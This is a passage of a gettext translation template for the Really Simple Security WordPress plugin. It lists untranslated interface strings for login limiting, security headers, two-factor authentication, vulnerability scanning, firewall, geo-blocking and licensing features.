#: settings/config/fields/limit-login-attempts.php:55
#: settings/config/fields/limit-login-attempts.php:78
#: settings/config/fields/limit-login-attempts.php:79
msgid "%s minutes"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:56
#: settings/config/fields/limit-login-attempts.php:80
msgid "%s hour"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:57
#: settings/config/fields/limit-login-attempts.php:81
msgid "%s hours"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:58
#: settings/config/fields/limit-login-attempts.php:82
#: settings/config/fields/two-fa.php:54
msgid "%s day"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:74
msgid "The user and IP address will be temporarily unable to login for the specified duration. You can block IP addresses indefinitely via the IP addresses block."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:83
msgid "%s week"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:84
msgid "%s month"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:85
msgid "%s months"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:102
msgid "Trigger captcha on failed login attempt"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:171
msgid "Enable open source blocklist API etc."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:298
msgid "User"
msgstr ""

#: settings/config/fields/security-headers.php:15
msgid "(recommended)"
msgstr ""

#: settings/config/fields/security-headers.php:24
msgid "About Essential Security Headers"
msgstr ""

#: settings/config/fields/security-headers.php:25
msgid "These security headers are the fundamental security measures to protect your website visitors while visiting your website."
msgstr ""

#: settings/config/fields/security-headers.php:44
#: settings/config/fields/security-headers.php:59
#: settings/config/fields/security-headers.php:162
#: settings/config/fields/security-headers.php:184
#: settings/config/fields/security-headers.php:199
msgid "Off"
msgstr ""

#: settings/config/fields/security-headers.php:50
msgid "This option is handled by the Content Security Policy/frame-ancestors setting."
msgstr ""

#: settings/config/fields/security-headers.php:60
msgid "recommended"
msgstr ""

#: settings/config/fields/security-headers.php:79
msgid "HTTP Strict Transport Security"
msgstr ""

#: settings/config/fields/security-headers.php:85
msgid "About HTTP Strict Transport Security"
msgstr ""

#: settings/config/fields/security-headers.php:86
msgid "Leveraging your SSL certificate with HSTS is a staple for every website. Force your website over SSL, mitigating risks of malicious counterfeit websites in your name."
msgstr ""

#: settings/config/fields/security-headers.php:101
msgid "Include preload"
msgstr ""

#: settings/config/fields/security-headers.php:102
msgid "After enabling this feature, you can submit your site to %shstspreload.org%s"
msgstr ""

#: settings/config/fields/security-headers.php:126
msgid "Include subdomains"
msgstr ""

#: settings/config/fields/security-headers.php:142
msgid "One day (for testing only)"
msgstr ""

#: settings/config/fields/security-headers.php:143
msgid "One year"
msgstr ""

#: settings/config/fields/security-headers.php:144
msgid "Two years (required for preload)"
msgstr ""

#: settings/config/fields/security-headers.php:146
msgid "Choose the max-age for HSTS"
msgstr ""

#: settings/config/fields/security-headers.php:170
msgid "About Cross Origin Policies"
msgstr ""

#: settings/config/fields/security-headers.php:171
msgid "One of the most powerful features, and therefore the most complex are the Cross-Origin headers that can isolate your website so any data leaks are minimized."
msgstr ""

#: settings/config/fields/security-headers.php:174
msgid "Cross Origin Opener Policy"
msgstr ""

#: settings/config/fields/security-headers.php:189
msgid "Cross Origin Resource Policy"
msgstr ""

#: settings/config/fields/security-headers.php:204
msgid "Cross Origin Embedder Policy"
msgstr ""

#: settings/config/fields/security-headers.php:214
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:278
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:295
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:473
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:484
#: settings/src/Settings/LearningMode/ChangeStatus.js:7
#: settings/src/Settings/LearningMode/LearningMode.js:241
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:310
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:321
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:330
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:401
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:412
msgid "Allow"
msgstr ""

#: settings/config/fields/security-headers.php:214
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:298
#: settings/src/Settings/LearningMode/LearningMode.js:304
#: settings/src/Settings/PermissionsPolicy.js:200
msgid "Disable"
msgstr ""

#: settings/config/fields/security-headers.php:214
#: settings/config/fields/security-headers.php:336
msgid "Self (Default)"
msgstr ""

#: settings/config/fields/security-headers.php:215
msgid "Permissions Policy"
msgstr ""

#: settings/config/fields/security-headers.php:220
msgid "About the Permission Policy"
msgstr ""

#: settings/config/fields/security-headers.php:221
msgid "Browser features are plentiful, but most are not needed on your website."
msgstr ""

#: settings/config/fields/security-headers.php:225
msgid "Feature"
msgstr ""

#: settings/config/fields/security-headers.php:303
msgid "Enable Permissions Policy"
msgstr ""

#: settings/config/fields/security-headers.php:312
msgid "Serve encrypted and authenticated responses"
msgstr ""

#: settings/config/fields/security-headers.php:318
msgid "About the Content Security Policy"
msgstr ""

#: settings/config/fields/security-headers.php:319
msgid "The content security policy has many options, so we always recommend starting in ‘learning mode’ to see what files and scripts are loaded."
msgstr ""

#: settings/config/fields/security-headers.php:334
msgid "Yes (don't set header)"
msgstr ""

#: settings/config/fields/security-headers.php:338
msgid "Allow your domain to be embedded"
msgstr ""

#: settings/config/fields/security-headers.php:347
msgid "Add additional domains which can embed your website, if needed. Comma seperated."
msgstr ""

#: settings/config/fields/security-headers.php:393
msgid "Directive"
msgstr ""

#: settings/config/fields/security-headers.php:400
msgid "Source"
msgstr ""

#: settings/config/fields/two-fa.php:30
msgid "Enforce for:"
msgstr ""

#: settings/config/fields/two-fa.php:31
msgid "Enforcing 2FA ensures that all users with the selected roles must login using Two-Factor Authentication. It is strongly recommended to at least enforce 2FA for Administrators."
msgstr ""

#: settings/config/fields/two-fa.php:50
msgid "Allow grace period"
msgstr ""

#: settings/config/fields/two-fa.php:51
msgid "During the grace period users can configure their Two-Factor method. When the grace period ends, users for which 2FA is enforced won’t be able to login unless 2FA is correctly configured. The grace period is also applied to new users."
msgstr ""

#: settings/config/fields/two-fa.php:55
#: settings/config/fields/two-fa.php:56
#: settings/config/fields/two-fa.php:57
msgid "%s days"
msgstr ""

#: settings/config/fields/two-fa.php:81
#: settings/config/fields/two-fa.php:103
msgid "Enable for:"
msgstr ""

#: settings/config/fields/two-fa.php:123
#: settings/config/menu.php:351
#: settings/config/menu.php:427
#: settings/config/menu.php:447
msgid "Users"
msgstr ""

#: settings/config/fields/two-fa.php:142
msgid "User role"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:13
msgid "Enable vulnerability scanning"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:14
msgid "This feature depends on multiple standard background processes. If a process fails or is unavailable on your system, detection might not work. We run frequent tests for this purpose. We will notify you accordingly if there are any issues."
msgstr ""

#: settings/config/fields/vulnerability-detection.php:21
msgid "About Vulnerabilities"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:22
msgid "Really Simple Security collects information about plugins, themes, and core vulnerabilities from our database powered by WPVulnerability. Anonymized data about these vulnerable components will be sent to Really Simple Security for statistical analysis to improve open-source contributions. For more information, please read our privacy statement."
msgstr ""

#: settings/config/fields/vulnerability-detection.php:38
msgid "If there's a vulnerability, you will also get feedback on the themes and plugin overview."
msgstr ""

#: settings/config/fields/vulnerability-detection.php:41
msgid "Feedback in plugin overview"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:59
msgid "Low-risk (default)"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:60
#: settings/config/fields/vulnerability-detection.php:82
#: settings/config/fields/vulnerability-detection.php:104
#: settings/config/fields/vulnerability-detection.php:197
msgid "Medium-risk"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:61
#: settings/config/fields/vulnerability-detection.php:105
#: settings/config/fields/vulnerability-detection.php:198
msgid "High-risk"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:62
#: settings/config/fields/vulnerability-detection.php:84
#: settings/config/fields/vulnerability-detection.php:199
msgid "Critical"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:64
msgid "Really Simple Security dashboard"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:81
msgid "Low-risk "
msgstr ""

#: settings/config/fields/vulnerability-detection.php:83
msgid "High-risk (default)"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:86
msgid "Site-wide, admin notification"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:103
#: settings/config/fields/vulnerability-detection.php:196
msgid "Low-risk"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:106
msgid "Critical (default)"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:109
msgid "This will send emails about vulnerabilities directly from your server. Make sure you can receive emails by the testing a preview below. If this feature is disabled, please enable notifications under general settings."
msgstr ""

#: settings/config/fields/vulnerability-detection.php:129
#: settings/config/fields/vulnerability-detection.php:132
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/NotificationTester.js:39
msgid "Test notifications"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:130
msgid "Test notifications can be used to test email delivery and shows how vulnerabilities will be reported on your WordPress installation."
msgstr ""

#: settings/config/fields/vulnerability-detection.php:147
msgid "Vulnerabilities Overview"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:159
msgid "Component"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:174
#: settings/config/fields/vulnerability-detection.php:217
msgid "Risk"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:211
msgid "Action"
msgstr ""

#: settings/config/fields/vulnerability-detection.php:235
msgid "I have read and understood the risks to intervene with these measures."
msgstr ""

#: settings/config/menu.php:11
msgid "Dashboard"
msgstr ""

#: settings/config/menu.php:23
#: settings/config/menu.php:29
#: settings/config/menu.php:408
msgid "General"
msgstr ""

#: settings/config/menu.php:41
#: settings/config/menu.php:44
msgid "Captcha"
msgstr ""

#: settings/config/menu.php:45
msgid "Really Simple Security can trigger a Captcha to limit access to your site or the login form."
msgstr ""

#: settings/config/menu.php:46
msgid "Protect your website against brute-force attacks with a captcha. Choose between Google reCAPTCHA or hCaptcha."
msgstr ""

#: settings/config/menu.php:52
msgid "The following information is attached when you send this form: license key, scan results, your domain, .htaccess file, debug log and a list of active plugins."
msgstr ""

#: settings/config/menu.php:54
msgid "Elevate your security with our Premium Support! Our expert team ensures simple, hassle-free assistance whenever you need it."
msgstr ""

#: settings/config/menu.php:55
msgid "Why Premium Support?"
msgstr ""

#: settings/config/menu.php:57
msgid "Debugging with Really Simple Security"
msgstr ""

#: settings/config/menu.php:68
#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Header.js:32
msgid "Let's Encrypt"
msgstr ""

#: settings/config/menu.php:69
msgid "Let's Encrypt."
msgstr ""

#: settings/config/menu.php:76
msgid "Redirection"
msgstr ""

#: settings/config/menu.php:82
msgid "Mixed content"
msgstr ""

#: settings/config/menu.php:88
#: settings/config/menu.php:90
msgid "Mixed Content Scan"
msgstr ""

#: settings/config/menu.php:104
msgid "Essential Security Headers"
msgstr ""

#: settings/config/menu.php:106
msgid "The Essentials"
msgstr ""

#: settings/config/menu.php:108
msgid "Protecting your website visitors from malicious attacks and data breaches should be your #1 priority, start with the essentials with Really Simple Security"
msgstr ""

#: settings/config/menu.php:116
msgid "HSTS forces browsers always to load a website via HTTPS. It prevents unnecessary redirects and prevents manipulation of data originating from communication with your website."
msgstr ""

#: settings/config/menu.php:124
msgid "Control browser features that could allow third parties to misuse data collected by microphone, camera, GEO Location etc, when enabled for your website."
msgstr ""

#: settings/config/menu.php:132
msgid "Content Security Policy"
msgstr ""

#: settings/config/menu.php:133
msgid "Content Security Policy Headers"
msgstr ""

#: settings/config/menu.php:143
msgid "A correctly configured Content Security Policy can protect your visitors from the most common web attacks. It all starts with denying and upgrading insecure requests on your website."
msgstr ""

#: settings/config/menu.php:152
msgid "Prevent clickjacking and other malicious attacks by restricting sources that are permitted to embed content from your website."
msgstr ""

#: settings/config/menu.php:163
msgid "Allow only necessary third party resources to be loaded on your website, thus preventing common attacks. Use our unique learning mode to automatically configure your Content Security Policy."
msgstr ""

#: settings/config/menu.php:173
msgid "This is a security feature implemented by web browsers to control how web pages from different origins can interact with each other."
msgstr ""

#: settings/config/menu.php:193
msgid "Here you can configure vulnerability detection, notifications and measures. To learn more about the features displayed, please use the instructions linked in the top-right corner."
msgstr ""

#: settings/config/menu.php:199
msgid "Scan results"
msgstr ""

#: settings/config/menu.php:200
msgid "This is the vulnerability overview. Here you will find current known vulnerabilities on your system. You can find more information and helpful, actionable insights for every vulnerability under details."
msgstr ""

#: settings/config/menu.php:208
msgid "Configuration"
msgstr ""

#: settings/config/menu.php:213
#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:164
msgid "Notifications"
msgstr ""

#: settings/config/menu.php:214
msgid "These notifications are set to the minimum risk level that triggers a notification. For example, the default site-wide notification triggers on high-risk and critical vulnerabilities."
msgstr ""

#: settings/config/menu.php:220
msgid "Measures"
msgstr ""

#: settings/config/menu.php:221
msgid "You can choose to automate the most common actions for a vulnerability. Each action is set to a minimum risk level, similar to the notifications. Please read the instructions to learn more about the process."
msgstr ""

#: settings/config/menu.php:224
msgid "Automated Measures"
msgstr ""

#: settings/config/menu.php:225
msgid "Maintain peace of mind with our simple, but effective automated measures when vulnerabilities are discovered. When needed Really Simple Security will force update or quarantaine vulnerable components, on your terms!"
msgstr ""

#: settings/config/menu.php:233
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/VulnerabilitiesHeader.js:15
msgid "Hardening"
msgstr ""

#: settings/config/menu.php:239
msgid "Basic"
msgstr ""

#: settings/config/menu.php:245
msgid "Advanced"
msgstr ""

#: settings/config/menu.php:252
msgid "Advanced hardening features complement the basic hardening functions by protecting your site against advanced threats and attacks."
msgstr ""

#: settings/config/menu.php:254
msgid "Advanced Hardening"
msgstr ""

#: settings/config/menu.php:255
msgid "Advanced hardening features to protect your site against sophisticated threats and attacks."
msgstr ""

#: settings/config/menu.php:261
msgid "XML-RPC with Learning Mode"
msgstr ""

#: settings/config/menu.php:262
msgid "Not sure if you're using XML-RPC, or want to restrict unauthorized use of XML-RPC? With learning mode you can see exactly which sources use XML-RPC, and you can revoke where necessary."
msgstr ""

#: settings/config/menu.php:264
msgid "XML-RPC"
msgstr ""

#: settings/config/menu.php:265
msgid "Control and monitor the use of XML-RPC on your site with learning mode."
msgstr ""

#: settings/config/menu.php:272
#: settings/config/menu.php:282
msgid "File Change Detection"
msgstr ""

#: settings/config/menu.php:279
msgid "Keep your site secure by monitoring unexpected file changes."
msgstr ""

#: settings/config/menu.php:283
msgid "File Change Detection generates a snapshot of every .php and .js file. On a daily basis, each file is then compared to this snapshot."
msgstr ""

#: settings/config/menu.php:284
msgid "You will receive an email warning if changes are detected."
msgstr ""

#: settings/config/menu.php:285
msgid "If unexpected file changes have occurred, this could be an indication that your site is compromised."
msgstr ""

#: settings/config/menu.php:286
msgid "The snapshots will be updated after WordPress, plugins or themes are activated or updated."
msgstr ""

#: settings/config/menu.php:292
msgid "Detected File Changes"
msgstr ""

#: settings/config/menu.php:293
msgid "The daily scan will report any detected file changes in the table below."
msgstr ""

#: settings/config/menu.php:294
msgid "If you recognize the detected changes, you can add the files to the exclude list, or ignore them just once."
msgstr ""

#: settings/config/menu.php:295
msgid "You can reset the report and generate a new snapshot, for example if you made changes via FTP."
msgstr ""

#: settings/config/menu.php:303
#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:88
msgid "Login Protection"
msgstr ""

#: settings/config/menu.php:311
msgid "Get two-factor authentication with Really Simple Security Pro"
msgstr ""

#: settings/config/menu.php:319
msgid "Start login protection by adding an additional layer during authentication. This will leave authentication less dependent on just a single password. Want to force strong passwords? Check out Password Security."
msgstr ""

#: settings/config/menu.php:322
msgid "Two-Factor authentication allows users to login using a second authentication method, other than their e-mail address and password. It is one of the most powerful ways to prevent account theft."
msgstr ""

#: settings/config/menu.php:328
msgid "Send an email code during login. You can force user roles to use two-factor authentication, or leave the choose with your users, if so desired."
msgstr ""

#: settings/config/menu.php:331
msgid "Email Verification"
msgstr ""

#: settings/config/menu.php:332
msgid "Email Verification sends a verification code to the user’s email address. This method provides protection against leaked or weak passwords, though it is less secure than other 2FA methods. If a user’s email inbox is compromised, one could still get access to the user account. It is not recommended to allow Email Verification for administrators."
msgstr ""

#: settings/config/menu.php:338
msgid "Get Login Protection with Really Simple Security Pro"
msgstr ""

#: settings/config/menu.php:341
msgid "Authenticator App (TOTP)"
msgstr ""

#: settings/config/menu.php:342
msgid "TOTP requires users to authenticate using a third-party app such as Google Authenticator."
msgstr ""

#: settings/config/menu.php:348
#: settings/config/menu.php:428
msgid "Here you control the users that are automatically, and temporarily blocked. You can also add or remove users manually. We recommend blocking ‘admin’ as username as a start."
msgstr ""

#: settings/config/menu.php:352
msgid "Here you can see which users have configured Two-Factor Authentication. The reset button will trigger the 2FA onboarding for the selected user(s) again and allow the configured grace period."
msgstr ""

#: settings/config/menu.php:363
msgid "Active"
msgstr ""

#: settings/config/menu.php:381
msgid "Password Security"
msgstr ""

#: settings/config/menu.php:387
msgid "Password security"
msgstr ""

#: settings/config/menu.php:388
msgid "Enforce secure password policies for your users by requiring strong passwords, and expiring passwords after a period of your choosing."
msgstr ""

#: settings/config/menu.php:391
msgid "Passwords"
msgstr ""

#: settings/config/menu.php:392
msgid "Improve security by requiring strong passwords and forced periodic password changes"
msgstr ""

#: settings/config/menu.php:407
#: settings/config/menu.php:417
msgid "Customize login attempts, intervals, and temporary lockouts according to your preferences to regulate the level of security on your website during authentication. No additional settings required"
msgstr ""

#: settings/config/menu.php:409
msgid "Protect your site against brute force login attacks by limiting the number of login attempts. Enabling this feature will temporary lock-out a username and the IP address that tries to login, after the set number of false logins."
msgstr ""

#: settings/config/menu.php:419
msgid "Limit Attempts"
msgstr ""

#: settings/config/menu.php:420
msgid "The settings below determine how strict your site will be protected. You can leave these settings on their default values, unless you experience issues."
msgstr ""

#: settings/config/menu.php:435
#: settings/config/menu.php:470
msgid "Permanent block"
msgstr ""

#: settings/config/menu.php:443
#: settings/config/menu.php:478
msgid "Temporary block"
msgstr ""

#: settings/config/menu.php:450
msgid "Blocked usernames will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock usernames."
msgstr ""

#: settings/config/menu.php:452
msgid "You can prevent usernames from being temporarily blocked by adding them to this list. The IP address that triggers false logins will still be blocked."
msgstr ""

#: settings/config/menu.php:454
msgid "You can add any non-existing username to this table, to instantly block IP addresses that try common usernames like \"admin\"."
msgstr ""

#: settings/config/menu.php:462
#: settings/config/menu.php:482
msgid "IP Addresses"
msgstr ""

#: settings/config/menu.php:463
msgid "IP Addresses can be allowed, blocked or will show up when your settings add them to a temporary blocklist. If you want to add your IP to the allowlist, please read the article provided at the right-hand side for instructions."
msgstr ""

#: settings/config/menu.php:484
msgid "Blocked IP addresses will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock IP addresses."
msgstr ""

#: settings/config/menu.php:486
msgid "You can prevent IP addresses from being temporarily blocked by adding them to this list. This can be convenient if you share an IP address with other site users. Usernames that trigger false logins will still be blocked."
msgstr ""

#: settings/config/menu.php:488
msgid "You can indefinitely block known abusive IP addresses, to completely prevent them from trying to login."
msgstr ""

#: settings/config/menu.php:496
#: settings/config/menu.php:512
msgid "Event Log"
msgstr ""

#: settings/config/menu.php:497
#: settings/config/menu.php:513
msgid "The Event Log shows all relevant events related to limit login attempts. You can filter the log using the dropdown on the top-right to only show warnings."
msgstr ""

#: settings/config/menu.php:504
#: settings/config/menu.php:714
msgid "Warnings"
msgstr ""

#: settings/config/menu.php:520
#: settings/config/menu.php:540
#: settings/config/menu.php:612
#: settings/config/menu.php:613
msgid "Regions"
msgstr ""

#: settings/config/menu.php:521
msgid "You can easily block countries, or entire continents. You can act on the event log below and see which countries are suspicious, or exclude all countries but your own."
msgstr ""

#: settings/config/menu.php:532
#: settings/config/menu.php:626
msgid "Continents"
msgstr ""

#: settings/config/menu.php:536
#: settings/config/menu.php:630
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:140
msgid "Allowed"
msgstr ""

#: settings/config/menu.php:541
msgid "If your site is only intended for users to login from specific geographical regions, you can entirely prevent logins from certain continents or countries."
msgstr ""

#: settings/config/menu.php:558
msgid "Rules"
msgstr ""

#: settings/config/menu.php:566
msgid "Firewall Rules"
msgstr ""

#: settings/config/menu.php:567
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentTable.js:275
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:520
msgid "Restrict access from specific countries or continents. You can also allow only specific countries."
msgstr ""

#: settings/config/menu.php:570
msgid "The lightweight Firewall can be used to lockout malicious traffic from your site. You can configure generic rules below, or block specific IP addresses by adding them to the Blocklist."
msgstr ""

#: settings/config/menu.php:577
#: settings/config/menu.php:578
msgid "404 Blocking"
msgstr ""

#: settings/config/menu.php:579
#: settings/config/menu.php:580
msgid "Crawlers might scan your site looking for possible exploits. One way to detect this is the fact that they trigger more 404 (not found) errors than legitimate visitors would. Below you can set the threshold and lockout duration for 404 blocking."
msgstr ""

#: settings/config/menu.php:586
#: settings/config/menu.php:587
msgid "User-Agents"
msgstr ""

#: settings/config/menu.php:588
#: settings/config/menu.php:589
msgid "The Firewall can also block traffic from malicious or resource-consuming bots that might crawl your website. A list of well-known bad User-Agents is automatically included. You can manually add or delete user-agents if so desired."
msgstr ""

#: settings/config/menu.php:610
#: settings/config/menu.php:647
#: settings/config/menu.php:660
#: settings/config/menu.php:697
msgid "This feature allows you to block visitors from your website based on country"
msgstr ""

#: settings/config/menu.php:614
msgid "Restrict access to your site based on user location. By default, all regions are allowed. You can also block entire continents."
msgstr ""

#: settings/config/menu.php:639
msgid "Blocklists"
msgstr ""

#: settings/config/menu.php:650
#: settings/config/menu.php:651
msgid "Trusted IP addresses"
msgstr ""

#: settings/config/menu.php:652
msgid "Here you can add IP addresses that should never be blocked by the Firewall. We will automatically add the IP address of the administrator that enabled the Firewall."
msgstr ""

#: settings/config/menu.php:663
#: settings/config/menu.php:664
msgid "IP Blocklist"
msgstr ""

#: settings/config/menu.php:665
msgid "This list shows all individually blocked IP addresses. On top the top-right you can filter between permanent blocks and temporary blocks. By default, blocks are only temporary, as attackers and bots will frequently alter between IP addresses. However, you can manually configure permanent blocks."
msgstr ""

#: settings/config/menu.php:677
msgid "Temporary"
msgstr ""

#: settings/config/menu.php:690
msgid "Logs"
msgstr ""

#: settings/config/menu.php:700
#: settings/config/menu.php:701
msgid "Event Logs"
msgstr ""

#: settings/config/menu.php:702
msgid "The Event Log shows all relevant events related to the Firewall and IP lockouts. You can filter the log using the dropdown on the top-right to only show warnings."
msgstr ""

#: settings/config/menu.php:730
msgid "We have tried to make our Wizard as simple and fast as possible. Although these questions are all necessary, if there’s any way you think we can improve the plugin, please let us %sknow%s!"
msgstr ""

#: settings/config/menu.php:732
msgid " Please note that you can always save and finish the wizard later, use our %sdocumentation%s for additional information or log a %ssupport ticket%s if you need our assistance."
msgstr ""

#: settings/config/menu.php:740
msgid "Letʼs Encrypt is a free, automated and open certificate authority brought to you by the nonprofit Internet Security Research Group (ISRG)."
msgstr ""

#: settings/config/menu.php:751
msgid "Hosting"
msgstr ""

#: settings/config/menu.php:752
msgid "Below you will find the instructions for different hosting environments and configurations. If you start the process with the necessary instructions and credentials the next steps will be done in no time."
msgstr ""

#: settings/settings.php:583
#: upgrade/upgrade-to-pro.php:144
msgid "Self-hosted and privacy-friendly analytics tool."
msgstr ""

#: settings/settings.php:591
msgid "Complianz - Consent Management as it should be"
msgstr ""

#: settings/settings.php:598
msgid "Terms and Conditions"
msgstr ""

#: upgrade/upgrade-to-pro.php:81
msgid "Checking if plugin folder exists..."
msgstr ""

#: upgrade/upgrade-to-pro.php:82
msgid "Able to create destination folder"
msgstr ""

#: upgrade/upgrade-to-pro.php:83
msgid "Destination folder already exists"
msgstr ""

#: upgrade/upgrade-to-pro.php:88
msgid "Validating license..."
msgstr ""

#: upgrade/upgrade-to-pro.php:89
msgid "License valid"
msgstr ""

#: upgrade/upgrade-to-pro.php:90
msgid "License invalid"
msgstr ""

#: upgrade/upgrade-to-pro.php:95
msgid "Retrieving package information..."
msgstr ""

#: upgrade/upgrade-to-pro.php:96
msgid "Package information retrieved"
msgstr ""

#: upgrade/upgrade-to-pro.php:97
msgid "Failed to gather package information"
msgstr ""

#: upgrade/upgrade-to-pro.php:102
msgid "Installing plugin..."
msgstr ""

#: upgrade/upgrade-to-pro.php:103
msgid "Plugin installed"
msgstr ""

#: upgrade/upgrade-to-pro.php:104
msgid "Failed to install plugin"
msgstr ""

#: upgrade/upgrade-to-pro.php:109
msgid "Activating plugin..."
msgstr ""

#: upgrade/upgrade-to-pro.php:110
msgid "Plugin activated"
msgstr ""

#: upgrade/upgrade-to-pro.php:111
msgid "Failed to activate plugin"
msgstr ""

#: upgrade/upgrade-to-pro.php:148
msgid "Get detailed insights into visitors' behaviour with Burst Statistics, the privacy-friendly analytics dashboard from Really Simple Plugins."
msgstr ""

#: upgrade/upgrade-to-pro.php:157
msgid "GDPR/CCPA Privacy Suite"
msgstr ""

#: upgrade/upgrade-to-pro.php:161
msgid "Configure your Cookie Notice, Consent Management and Cookie Policy with our Wizard and Cookie Scan. Supports GDPR, DSGVO, TTDSG, LGPD, POPIA, RGPD, CCPA and PIPEDA."
msgstr ""

#: upgrade/upgrade-to-pro.php:174
msgid "One click SSL optimization"
msgstr ""

#: upgrade/upgrade-to-pro.php:178
msgid "Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation."
msgstr ""

#: upgrade/upgrade-to-pro.php:190
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPlugins.js:24
msgid "Installed"
msgstr ""

#: upgrade/upgrade-to-pro.php:233
msgid "Installation finished"
msgstr ""

#: upgrade/upgrade-to-pro.php:331
msgid "Recommended by Really Simple Plugins"
msgstr ""

#: upgrade/upgrade-to-pro.php:356
msgid "Installing"
msgstr ""

#: upgrade/upgrade-to-pro.php:367
msgid "Visit Dashboard"
msgstr ""

#: upgrade/upgrade-to-pro.php:370
#: modal/build/433.7705e088a625e85f6d3d.js:1
#: modal/src/components/Modal/RssslModal.js:68
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentModal.js:152
#: settings/src/Settings/GeoBlockList/TrustIpAddressModal.js:140
#: settings/src/Settings/LimitLoginAttempts/AddIpAddressModal.js:110
#: settings/src/Settings/LimitLoginAttempts/AddUserModal.js:90
msgid "Cancel"
msgstr ""

#: upgrade/upgrade-to-pro.php:372
msgid "Install %sManually%s."
msgstr ""

#: upgrade/upgrade-to-pro.php:373
msgid "Check your %slicense%s."
msgstr ""

#: upgrade/upgrade-to-pro.php:450
msgid "Could not rename folder!"
msgstr ""

#: upgrade/upgrade-to-pro.php:550
#: upgrade/upgrade-to-pro.php:582
msgid "An error occurred, please try again."
msgstr ""

#: upgrade/upgrade-to-pro.php:558
msgid "Your license key expired on %s."
msgstr ""

#: upgrade/upgrade-to-pro.php:564
msgid "Your license key has been disabled."
msgstr ""

#: upgrade/upgrade-to-pro.php:567
msgid "Missing license."
msgstr ""

#: upgrade/upgrade-to-pro.php:570
msgid "Invalid license."
msgstr ""

#: upgrade/upgrade-to-pro.php:573
msgid "Your license is not active for this URL."
msgstr ""

#: upgrade/upgrade-to-pro.php:576
msgid "This appears to be an invalid license key for this plugin."
msgstr ""

#: upgrade/upgrade-to-pro.php:579
msgid "Your license key has reached its activation limit."
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:68
#: modal/src/components/DeactivationModal/DeactivationModal.js:110
msgid "SSL Encryption"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:78
#: modal/src/components/DeactivationModal/DeactivationModal.js:115
msgid "Vulnerability Management"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:83
msgid "WordPress Hardening"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:103
msgid "Visitor Protection"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:120
msgid "WordPress hardening"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:125
msgid "Are you sure?"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:126
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/License/License.js:48
msgid "Deactivate"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:128
msgid "Deactivate and use HTTP"
msgstr ""

#: modal/build/index.d6b3038dea3995c8535e.js:1
#: modal/src/components/DeactivationModal/DeactivationModal.js:57
msgid "Please choose the correct deactivation method, and before you go; you will miss out on below and future features in Really Simple Security"
